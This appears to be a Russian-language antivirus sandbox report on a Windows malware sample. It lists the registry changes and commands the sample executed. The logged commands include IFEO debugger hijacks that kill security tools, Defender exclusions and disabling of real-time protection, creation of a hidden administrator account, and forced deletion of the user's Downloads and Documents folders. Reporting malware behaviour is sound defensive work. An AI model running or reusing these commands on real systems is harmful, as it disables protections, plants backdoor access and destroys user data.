Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\Software\Classes\.exe] '' = 'exefile'
- [HKLM\Software\Classes\.exe] 'Content Type' = 'application/x-msdownload'
- [HKLM\Software\Classes\exefile\shell\open\command] '' = '%1 %*'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe] 'Debugger' = '<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe'
- [HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe] 'Debugger' = '<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe'
- [HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe] 'Debugger' = '<SYSTEM32>\v2ray.exe /f /im v2ray.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe] 'Debugger' = '<SYSTEM32>\v2ray.exe /f /im v2ray.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaradAgent.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im BaradAgent.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgagent.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im sgagent.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tat_agent.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im tat_agent.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YDLive.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im YDLive.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YDFlame.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im YDFlame.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YDService.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im YDService.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HipsTray.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im HipsTray.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsctrlsvc.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im wsctrlsvc.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HipsDaemon.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im HipsDaemon.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitDimon.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im HitDimon.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.com] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im svchost.com'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchostx.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im svchostx.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im xmrig.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im ShellHost.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im v2ray.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\createexplorershellunelevatedtask
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\administrator','C:\Users\admin'"
Запускает на исполнение
- '<SYSTEM32>\net.exe' user admin Syskill000000 /add
- '<SYSTEM32>\net.exe' localgroup administrators admin /add
- '<SYSTEM32>\taskkill.exe' /F /IM ShellHost.exe
- '<SYSTEM32>\taskkill.exe' /F /IM v2ray.exe
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state on
- '<SYSTEM32>\taskkill.exe' /f /im loop.exe
- '<SYSTEM32>\taskkill.exe' /f /im sbr.exe
- '<SYSTEM32>\taskkill.exe' /f /im spool.exe
- '<SYSTEM32>\taskkill.exe' /f /im pool.exe
- '<SYSTEM32>\taskkill.exe' /f /im port.exe
- '<SYSTEM32>\taskkill.exe' /f /im cmd.exe
- '<SYSTEM32>\taskkill.exe' /f /im powershell.exe
- '<SYSTEM32>\taskkill.exe' /f /im mypower.exe
- '<SYSTEM32>\taskkill.exe' /f /im mypowershell.exe
- '<SYSTEM32>\taskkill.exe' /f /im lol.exe
- '<SYSTEM32>\taskkill.exe' /f /im rdp.exe
- '<SYSTEM32>\taskkill.exe' /f /im RDP-Blocker-Working.ps1
- '<SYSTEM32>\taskkill.exe' /f /im SRBMiner-MULTI.exe
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\explorer.exe
- <SYSTEM32>\cmd.exe
Изменения в файловой системе
Создает следующие файлы
- nul
Удаляет следующие системные файлы
- <SYSTEM32>\tasks\adobe acrobat update task
- <SYSTEM32>\tasks\opera scheduled autoupdate 1723426318
- <SYSTEM32>\tasks\mozilla\firefox default browser agent 308046b0af4a39cb
Удаляет файлы, которые сам же создал
- <SYSTEM32>\tasks\createexplorershellunelevatedtask
Сетевая активность
UDP
- DNS ASK ap#.msn.com
Другое
Ищет следующие окна
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
- ClassName: 'ApplicationFrameWindow' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f
- '%WINDIR%\explorer.exe'
- '%WINDIR%\explorer.exe' /NoUACCheck
- '<SYSTEM32>\net.exe' user sys /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user sys /active:no
- '<SYSTEM32>\net.exe' user admin /active:yes (со скрытым окном)
- '<SYSTEM32>\net1.exe' user admin /active:yes
- '<SYSTEM32>\net1.exe' user admin Syskill000000 /add
- '%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe' -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
- '<SYSTEM32>\net.exe' user admin Syskill000000 (со скрытым окном)
- '<SYSTEM32>\net1.exe' user admin Syskill000000
- '<SYSTEM32>\net1.exe' localgroup administrators admin /add
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
- '<SYSTEM32>\cmd.exe' /c for /f "tokens=2" %i in ('query session sys') do logoff %i (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c query session sys
- '<SYSTEM32>\query.exe' session sys
- '<SYSTEM32>\qwinsta.exe' sys
- '<SYSTEM32>\cmd.exe' /c schtasks /delete /tn "MalwareKiller" /f (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /delete /tn "MalwareKiller" /f
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __FilterToConsumerBinding delete (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\\root\subscription" Path __FilterToConsumerBinding delete
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path CommandLineEventConsumer delete (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\\root\subscription" Path CommandLineEventConsumer delete
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __EventFilter delete (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\\root\subscription" Path __EventFilter delete
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\Microsoft*'} | Unregister-ScheduledTask -Confirm:$false" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\root\subscription" Path __FilterToConsumerBinding Where Filter="__EventFilter.Name=\"MalwareKillFilter\"" delete & wmic /namespace:"\root\subscription" Path CommandLineEven... (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\root\subscription" Path __FilterToConsumerBinding Where Filter="__EventFilter.Name=\"MalwareKillFilter\"" delete
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\root\subscription" Path CommandLineEventConsumer Where Name="MalwareKillConsumer" delete
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\root\subscription" Path __EventFilter Where Name="MalwareKillFilter" delete
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$b='HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options';gci $b|%{rp $_.PsPath Debugger -ea 0};Set-ItemProperty -Path 'HKLM:\Software\Classes\.exe' -Name '(Defau... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM ShellHost.exe (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM v2ray.exe (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-Item "$env:USERPROFILE\Downloads\*" -Recurse -Force (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypowershell.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
- '<SYSTEM32>\cmd.exe' /c powershell.exe -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\administrator','C:\Users\admin'" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "New-Item -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" -Force | Out-Null; Set-ItemProperty -Path \"HKLM:\SOFTWARE\Policies\Microsoft\... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "New-Item -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" -Force | Out-Null; Set-ItemProperty -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defend...
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state on (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete Nat (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete AdminManager (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete Network (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete Networks (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete NetworkService (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete NetWork Service (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete Winupdate (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete service (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete AutoConfigService (со скрытым окном)
- '<SYSTEM32>\net.exe' user system32 /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user system32 /active:no
- '<SYSTEM32>\net.exe' user guest /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user guest /active:no
- '<SYSTEM32>\net.exe' user delivery /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user delivery /active:no
- '<SYSTEM32>\net.exe' user admini /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user admini /active:no
- '<SYSTEM32>\net.exe' user sys2 /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user sys2 /active:no
- '<SYSTEM32>\net.exe' user Bruno /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user Bruno /active:no
- '<SYSTEM32>\net.exe' user sys1 /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user sys1 /active:no
- '<SYSTEM32>\net.exe' user cloudbase-init /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user cloudbase-init /active:no
- '<SYSTEM32>\net.exe' user Ghostuser /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user Ghostuser /active:no
- '<SYSTEM32>\net.exe' user us /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user us /active:no
- '<SYSTEM32>\net.exe' user ha /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user ha /active:no
- '<SYSTEM32>\net.exe' user service /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user service /active:no
- '<SYSTEM32>\net.exe' user L92 /active:no (со скрытым окном)
- '<SYSTEM32>\net1.exe' user L92 /active:no
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im loop.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im sbr.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im spool.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im pool.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im port.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im cmd.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im powershell.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im mypower.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im mypowershell.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im lol.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im rdp.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im RDP-Blocker-Working.ps1 >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im SRBMiner-MULTI.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*.*" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Downloads\* -Recurse -Force" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Documents\*.*" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Documents\* -Recurse -Force" (со скрытым окном)
- '<SYSTEM32>\net.exe' user admin Syskill000000 /add (со скрытым окном)
- '<SYSTEM32>\net.exe' localgroup administrators admin /add (со скрытым окном)
